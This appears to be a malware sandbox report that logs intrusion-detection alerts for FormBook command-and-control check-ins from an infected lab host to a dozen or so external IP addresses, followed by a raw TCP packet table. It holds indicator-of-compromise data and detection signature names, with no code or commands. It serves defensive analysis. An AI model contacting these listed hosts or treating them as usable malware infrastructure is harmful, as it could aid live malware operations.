2024-11-05T15:34:24.837039+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49747	3.33.130.190	80	TCP
2024-11-05T15:34:27.476841+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49748	3.33.130.190	80	TCP
2024-11-05T15:34:35.855883+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49750	161.97.142.144	80	TCP
2024-11-05T15:34:38.588553+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49751	161.97.142.144	80	TCP
2024-11-05T15:34:41.309600+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49752	161.97.142.144	80	TCP
2024-11-05T15:34:50.887348+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49754	119.18.54.27	80	TCP
2024-11-05T15:34:53.830801+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49755	119.18.54.27	80	TCP
2024-11-05T15:34:56.767004+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49756	119.18.54.27	80	TCP
2024-11-05T15:35:13.774587+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49758	195.110.124.133	80	TCP
2024-11-05T15:35:16.505439+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49759	195.110.124.133	80	TCP
2024-11-05T15:35:19.245333+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49760	195.110.124.133	80	TCP
2024-11-05T15:35:27.504676+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49762	203.161.41.204	80	TCP
2024-11-05T15:35:30.186171+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49763	203.161.41.204	80	TCP
2024-11-05T15:35:32.899013+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	203.161.41.204	80	TCP
2024-11-05T15:35:41.092159+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49766	68.65.122.222	80	TCP
2024-11-05T15:35:43.804362+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49767	68.65.122.222	80	TCP
2024-11-05T15:35:46.535572+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	68.65.122.222	80	TCP
2024-11-05T15:35:55.809116+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49770	45.150.55.15	80	TCP
2024-11-05T15:35:58.640786+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49771	45.150.55.15	80	TCP
2024-11-05T15:36:01.490476+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49772	45.150.55.15	80	TCP
2024-11-05T15:36:09.772169+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49774	50.19.214.227	80	TCP
2024-11-05T15:36:12.409312+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49775	50.19.214.227	80	TCP
2024-11-05T15:36:23.036417+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49778	13.248.169.48	80	TCP
2024-11-05T15:36:25.655112+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49779	13.248.169.48	80	TCP
2024-11-05T15:36:44.482485+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49782	13.248.169.48	80	TCP
2024-11-05T15:36:47.121639+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49783	13.248.169.48	80	TCP
2024-11-05T15:37:08.338105+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49786	15.197.148.33	80	TCP
2024-11-05T15:37:09.581393+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49787	15.197.148.33	80	TCP
2024-11-05T15:37:12.223040+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49788	15.197.148.33	80	TCP
2024-11-05T15:37:29.149397+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49791	66.198.240.15	80	TCP
2024-11-05T15:37:31.810088+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49792	66.198.240.15	80	TCP
2024-11-05T15:37:34.473216+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49793	66.198.240.15	80	TCP
2024-11-05T15:37:43.210516+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49795	3.33.130.190	80	TCP
2024-11-05T15:37:44.932497+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49796	3.33.130.190	80	TCP
2024-11-05T15:37:48.476833+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49797	3.33.130.190	80	TCP
2024-11-05T15:37:55.603118+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49799	161.97.142.144	80	TCP
2024-11-05T15:37:58.325732+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49800	161.97.142.144	80	TCP
2024-11-05T15:38:01.041140+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49801	161.97.142.144	80	TCP
2024-11-05T15:38:09.702925+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49803	119.18.54.27	80	TCP
2024-11-05T15:38:12.662197+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49804	119.18.54.27	80	TCP
2024-11-05T15:38:15.603651+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49805	119.18.54.27	80	TCP
2024-11-05T15:38:32.210487+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49807	195.110.124.133	80	TCP
2024-11-05T15:38:34.973478+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49808	195.110.124.133	80	TCP
2024-11-05T15:38:37.704461+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49809	195.110.124.133	80	TCP
2024-11-05T15:38:45.871561+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49811	203.161.41.204	80	TCP
2024-11-05T15:38:48.576607+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49812	203.161.41.204	80	TCP
2024-11-05T15:38:51.290785+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49813	203.161.41.204	80	TCP
2024-11-05T15:38:59.383238+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49815	68.65.122.222	80	TCP
2024-11-05T15:39:02.104820+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49816	68.65.122.222	80	TCP
2024-11-05T15:39:04.831001+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49817	68.65.122.222	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 15:33:52.431838989 CET	49741	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:33:52.535099030 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:52.535466909 CET	49741	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:33:52.541462898 CET	49741	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:33:52.644685030 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247127056 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247150898 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247165918 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247179985 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247194052 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247209072 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247222900 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247232914 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247243881 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247256041 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:33:53.247526884 CET	49741	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:33:53.251393080 CET	49741	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:33:53.378403902 CET	80	49741	104.21.94.87	192.168.11.20
Nov 5, 2024 15:34:08.481900930 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.600007057 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.600276947 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.607916117 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.725949049 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941663027 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941721916 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941767931 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941808939 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941850901 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941891909 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941932917 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941946983 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.941975117 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.941999912 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.942018032 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.942059994 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:08.942210913 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.942210913 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:08.942285061 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:09.060323000 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060399055 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060442924 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060482979 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060524940 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060565948 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060606956 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060637951 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:09.060647964 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060692072 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060709953 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:09.060723066 CET	80	49742	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:09.060833931 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:09.060884953 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:10.111496925 CET	49742	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.129000902 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.246964931 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.247241020 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.254879951 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.373248100 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580182076 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580240965 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580288887 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580329895 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580373049 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580414057 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580457926 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580499887 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580511093 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.580542088 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580584049 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.580653906 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.580847025 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.698688030 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698750019 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698793888 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698837042 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698879004 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698920012 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.698961020 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.699001074 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.699023008 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.699042082 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.699076891 CET	80	49743	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:11.699090958 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.699287891 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:11.699287891 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:12.767036915 CET	49743	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:13.784595966 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:13.902987957 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:13.903264046 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:13.911338091 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.029858112 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.029905081 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.029932976 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.029962063 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253125906 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253185987 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253228903 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253271103 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253312111 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253355026 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253396034 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253437042 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253473997 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.253478050 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253520012 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.253647089 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.253647089 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.253814936 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.371258020 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371299982 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371331930 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371361017 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371390104 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371417999 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371445894 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371491909 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.371669054 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.371877909 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371916056 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.371942043 CET	80	49744	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:14.372172117 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:14.372172117 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:15.422971964 CET	49744	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.440568924 CET	49745	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.558379889 CET	80	49745	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:16.558753967 CET	49745	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.563752890 CET	49745	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.681229115 CET	80	49745	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:16.834894896 CET	80	49745	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:16.834959030 CET	80	49745	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:16.835354090 CET	49745	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.837150097 CET	49745	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:34:16.955107927 CET	80	49745	66.198.240.15	192.168.11.20
Nov 5, 2024 15:34:21.966701984 CET	49746	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:22.074803114 CET	80	49746	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:22.075184107 CET	49746	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:22.082684040 CET	49746	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:22.191030025 CET	80	49746	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:23.592823982 CET	49746	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:23.741189957 CET	80	49746	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:24.610492945 CET	49747	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:24.718918085 CET	80	49747	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:24.719500065 CET	49747	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:24.726747036 CET	49747	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:24.834700108 CET	80	49747	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:24.836651087 CET	80	49747	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:24.837038994 CET	49747	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:26.232877016 CET	49747	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:26.341231108 CET	80	49747	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.250544071 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:27.358565092 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.358977079 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:27.366565943 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:27.366686106 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:27.474924088 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.474967003 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.474992990 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.475018978 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.475044966 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.475070953 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.475096941 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.476490974 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:27.476840973 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:28.872936964 CET	49748	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:28.981172085 CET	80	49748	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:29.890566111 CET	49749	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:30.001878023 CET	80	49749	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:30.002194881 CET	49749	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:30.007213116 CET	49749	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:30.117194891 CET	80	49749	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:30.128454924 CET	80	49749	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:30.128465891 CET	80	49749	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:30.128859043 CET	49749	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:30.130640984 CET	49749	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:30.240089893 CET	80	49749	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:35.456165075 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:35.646469116 CET	80	49750	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:35.646673918 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:35.654304028 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:35.854357958 CET	80	49750	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:35.855681896 CET	80	49750	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:35.855732918 CET	80	49750	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:35.855768919 CET	80	49750	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:35.855882883 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:35.855947018 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:37.168031931 CET	49750	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:38.185415030 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:38.385730028 CET	80	49751	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:38.386058092 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:38.393518925 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:38.587743998 CET	80	49751	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:38.588337898 CET	80	49751	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:38.588388920 CET	80	49751	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:38.588427067 CET	80	49751	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:38.588552952 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:38.588618040 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:39.901828051 CET	49751	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:40.919292927 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:41.109736919 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.110346079 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:41.117851019 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:41.308593988 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.308635950 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.308665991 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.309434891 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.309484959 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.309515953 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.309551001 CET	80	49752	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:41.309600115 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:41.309768915 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:42.620102882 CET	49752	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:43.637806892 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:43.825099945 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:43.825422049 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:43.830497980 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:44.022325993 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:44.022392035 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:44.022435904 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:44.022479057 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:44.023041010 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:44.023041964 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:44.026194096 CET	49753	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:34:44.213150978 CET	80	49753	161.97.142.144	192.168.11.20
Nov 5, 2024 15:34:49.970376968 CET	49754	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:50.385801077 CET	80	49754	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:50.386056900 CET	49754	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:50.393707991 CET	49754	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:50.804150105 CET	80	49754	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:50.887130976 CET	80	49754	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:50.887139082 CET	80	49754	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:50.887347937 CET	49754	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:51.899182081 CET	49754	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:52.916717052 CET	49755	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:53.327476978 CET	80	49755	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:53.327667952 CET	49755	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:53.335347891 CET	49755	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:53.467674971 CET	80	49746	3.33.130.190	192.168.11.20
Nov 5, 2024 15:34:53.467825890 CET	49746	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:34:53.748405933 CET	80	49755	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:53.830602884 CET	80	49755	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:53.830653906 CET	80	49755	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:53.830801010 CET	49755	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:54.851619959 CET	49755	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:55.868999004 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:56.300585032 CET	80	49756	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:56.300745964 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:56.308614016 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:56.308661938 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:56.308712006 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:56.736937046 CET	80	49756	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:56.766845942 CET	80	49756	119.18.54.27	192.168.11.20
